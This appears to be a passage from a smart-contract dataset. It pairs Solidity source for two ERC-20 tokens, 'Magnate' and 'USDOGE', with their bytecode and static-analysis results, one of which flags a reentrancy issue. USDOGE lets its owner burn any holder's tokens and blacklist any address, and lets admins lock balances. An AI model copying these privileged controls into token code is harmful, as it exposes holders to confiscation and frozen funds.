0830135611c2f8161193e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caf57611caf611c85565b5060010190565b60008219821115611cc957611cc9611c85565b500190565b600082821015611ce057611ce0611c85565b500390565b600060208284031215611cf757600080fd5b81516112e28161193e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d525784516001600160a01b031683529383019391830191600101611d2d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daf57611daf611c85565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c436868e6b4847fe18138826910ad3451ce6683f8bc0303fa869644edefd435064736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,178 |
0xed5d869539e724efaa8dd396a5cb6ec8bfadc1c3
|
// SPDX-License-Identifier: MIT
pragma solidity =0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
}
contract Magnate is IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name = "Magnate";
string private _symbol = "$MAGNATE";
uint8 private _decimals = 9;
uint256 private _totalSupply;
constructor(uint256 _initialSupply) {
_mint(owner(), _initialSupply);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101e4578063a9059cbb146101f7578063dd62ed3e1461020a578063f2fde38b1461024357600080fd5b806370a082311461018e578063715018a6146101b75780638da5cb5b146101c157806395d89b41146101dc57600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce567146101605780633950935114610175578063557ed1ba1461018857600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b610102610256565b60405161010f91906109e2565b60405180910390f35b61012b6101263660046109b9565b6102e8565b604051901515815260200161010f565b6008545b60405190815260200161010f565b61012b61015b36600461097e565b6102fe565b60075460405160ff909116815260200161010f565b61012b6101833660046109b9565b610367565b4261013f565b61013f61019c366004610932565b6001600160a01b031660009081526003602052604090205490565b6101bf61039d565b005b6000546040516001600160a01b03909116815260200161010f565b610102610446565b61012b6101f23660046109b9565b610455565b61012b6102053660046109b9565b6104a4565b61013f61021836600461094c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6101bf610251366004610932565b6104b1565b60606005805461026590610a64565b80601f016020809104026020016040519081016040528092919081815260200182805461029190610a64565b80156102de5780601f106102b3576101008083540402835291602001916102de565b820191906000526020600020905b8154815290600101906020018083116102c157829003601f168201915b5050505050905090565b60006102f5338484610631565b50600192915050565b600061030b848484610756565b61035d843361035885604051806060016040528060288152602001610adc602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906108dc565b610631565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916102f591859061035890866105cb565b6000546001600160a01b031633146103fc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606006805461026590610a64565b60006102f5338461035885604051806060016040528060258152602001610b04602591393360009081526004602090815260408083206001600160a01b038d16845290915290205491906108dc565b60006102f5338484610756565b6000546001600160a01b0316331461050b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103f3565b6001600160a01b0381166105705760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000806105d88385610a35565b90508381101561062a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f3565b9392505050565b6001600160a01b0383166106935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f3565b6001600160a01b0382166106f45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166107ba5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f3565b6001600160a01b03821661081c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f3565b61085981604051806060016040528060268152602001610ab6602691396001600160a01b03861660009081526003602052604090205491906108dc565b6001600160a01b03808516600090815260036020526040808220939093559084168152205461088890826105cb565b6001600160a01b0380841660008181526003602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107499085815260200190565b600081848411156109005760405162461bcd60e51b81526004016103f391906109e2565b50600061090d8486610a4d565b95945050505050565b80356001600160a01b038116811461092d57600080fd5b919050565b600060208284031215610943578081fd5b61062a82610916565b6000806040838503121561095e578081fd5b61096783610916565b915061097560208401610916565b90509250929050565b600080600060608486031215610992578081fd5b61099b84610916565b92506109a960208501610916565b9150604084013590509250925092565b600080604083850312156109cb578182fd5b6109d483610916565b946020939093013593505050565b6000602080835283518082850152825b81811015610a0e578581018301518582016040015282016109f2565b81811115610a1f5783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610a4857610a48610a9f565b500190565b600082821015610a5f57610a5f610a9f565b500390565b600181811c90821680610a7857607f821691505b60208210811415610a9957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c7520f167fb4601765714b97710c0f034e5d3011df669bbe0f3479fae1281c2b64736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 5,179 |
0xac568d3c6db1b3a24d68f231f0b1c1dfcc4e132c
|
/*
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract USDOGE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bcc602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061151d565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b61065a83836115b4565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826116b0565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cc66021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b4e6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b61076284848461179c565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826118e3565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611ca16025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061151d565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a20616